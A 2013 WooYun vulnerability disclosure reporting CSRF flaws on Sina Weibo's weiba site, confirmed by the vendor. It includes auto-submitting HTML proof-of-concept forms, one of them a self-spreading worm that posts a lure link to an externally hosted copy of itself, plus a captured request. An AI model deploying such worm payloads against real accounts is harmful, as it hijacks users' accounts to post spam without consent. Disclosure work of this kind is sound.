当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-017694

漏洞标题：新浪微博首页再来一波蠕虫

相关厂商：新浪微博

漏洞作者： 风萧萧

提交时间：2013-01-22 20:42

修复时间：2013-03-08 20:42

公开时间：2013-03-08 20:42

漏洞类型：CSRF

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-01-22： 细节已通知厂商并且等待厂商处理中
2013-01-22： 厂商已经确认，细节仅向厂商公开
2013-02-01： 细节向核心白帽子及相关领域专家公开
2013-02-11： 细节向普通白帽子公开
2013-02-21： 细节向实习白帽子公开
2013-03-08： 细节向公众公开

简要描述：

金龙大锅，我又来了

详细说明：

1.出问题的是这个地方撒！

http://weiba.weibo.com

1.jpg


2.这个站点几乎没有对CSRF做任何防范，不过加关注刷粉丝的地方除外啊！举两个例子如下：
3.首先是支持微博吧的地方，对于微博吧的支持没有防范CSRF，导致可以刷微博吧粉丝，不是刷个人粉丝的地方撒：

2.jpg


构造POC如下：

<html>
<body>
<form id="fxx" name="fxx" action="http://weiba.weibo.com/aj_baropen/support" method="POST">
<input type="text" name="abid" value="23093" />
<input type="submit" value="submit" />
</form>
<script>
	document.fxx.submit();
</script>
</body>
</html>

漏洞证明：

4.点击上图【支持一下】后，会有如下转发到微博的请求发出！

3.jpg


5.点击【发布】，抓包查看请求如下：

http://weiba.weibo.com/aj_baropen/share?__rnd=1358845029390
POST /aj_baropen/share?__rnd=1358845029390 HTTP/1.1
Host: weiba.weibo.com
Proxy-Connection: keep-alive
Content-Length: 555
Origin: http://weiba.weibo.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://weiba.weibo.com/bar/open/27872?from=repba
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: 略
text=#开通微吧#我刚刚投给了 “耽美吧” 1票，支持量达到3000 “耽美吧” 就能开通了，亲！给力支持一下吧~点此投票：http://weiba.weibo.com/bar/open/27872?from=repba&from=0&pid=a753ecd1jw1dzxuipd4hrj&_t=0


6.POST请求的几个参数都好理解，text参数是转发到微博的内容，from参数表示是来自哪里，但是pid参数不能确认，不知道是token还是什么一个指定的id，不过我去掉了是没有关系的。
7.构造如下POC页面：

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<form id="fxx" name="fxx" action="http://weiba.weibo.com/aj_baropen/share" method="POST">
<input type="text" name="text" id="content" value="test" />
<input type="text" name="from" value="0" />
<input type="text" name="pid" value="a753ecd1jw1dzxuipd4hrj" />
<input type="submit" value="submit" />
</form>
<script>
	var random=new Array();
	random[0]="";
	random[1]="有帅哥哦";
	random[2]="有萝莉哦";
	random[3]="有小清新哦";
	random[4]="有女王哦";
	random[5]="有御姐哦";
	random[6]="有高帅富哦";
	random[7]="有女屌丝哦";
	random[8]="有美女哦";
	random[9]="有苍老师哦";
	var num =parseInt(Math.random()*10);
	var constr="   follow me! http://xssed.me/csrf/weibo.html";
	var sendstr=random[num]+constr;
	alert(sendstr);
	document.getElementById("content").setAttribute("value",sendstr);
	document.fxx.submit();
</script>
</body>
</html>


8.本地chrome浏览器运行，查看返回结果以及微博首页转发情况：

4.jpg


5.jpg


9.IE浏览器登录另一个微博账号，查找到刚才发表的微博，点击链接，同样也发表了一篇微博：

6.jpg

修复方案：

金龙大锅要言而有信哦！

版权声明：转载请注明来源 风萧萧@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2013-01-22 23:24

厂商回复：

感谢关注新浪安全。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-01-22 21:13 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    目测洞主发现微博金矿了

  2. 2013-01-22 21:33 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    @xsser 哈哈，洞主这下有刷不完的rank，收不完的礼物咯，，

  3. 2013-01-22 21:33 | 0ps ( 实习白帽子 | Rank:43 漏洞数:10 | xo)

    要火啊

  4. 2013-01-22 21:35 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @xsser 客官刷粉丝吗？

  5. 2013-01-22 21:44 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @风萧萧 看上去还是同一个问题

  6. 2013-01-22 21:50 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了！>_<'/&\)

    少侠，10元1000粉

  7. 2013-01-22 22:21 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    洞主答应给我的粉丝呢？求粉丝，新浪微博id：px1624

  8. 2013-03-09 07:29 | 苏南同学 ( 实习白帽子 | Rank:41 漏洞数:5 | 苏南同学，就是苏南同学~~~)

    这个poc页面是放那里的？是不是蠕虫的那个地址是个外站地址，然后外站地址页面里面放哪个poc表单的？

  9. 2013-03-09 07:38 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    这么早了还不睡？

  10. 2013-03-09 07:46 | 苏南同学 ( 实习白帽子 | Rank:41 漏洞数:5 | 苏南同学，就是苏南同学~~~)

    @风萧萧 无钱无妹子，睡啥啊

  11. 2013-03-10 11:11 | Seraph ( 路人 | Rank:23 漏洞数:6 | 没有死，不等于活着！)

    大神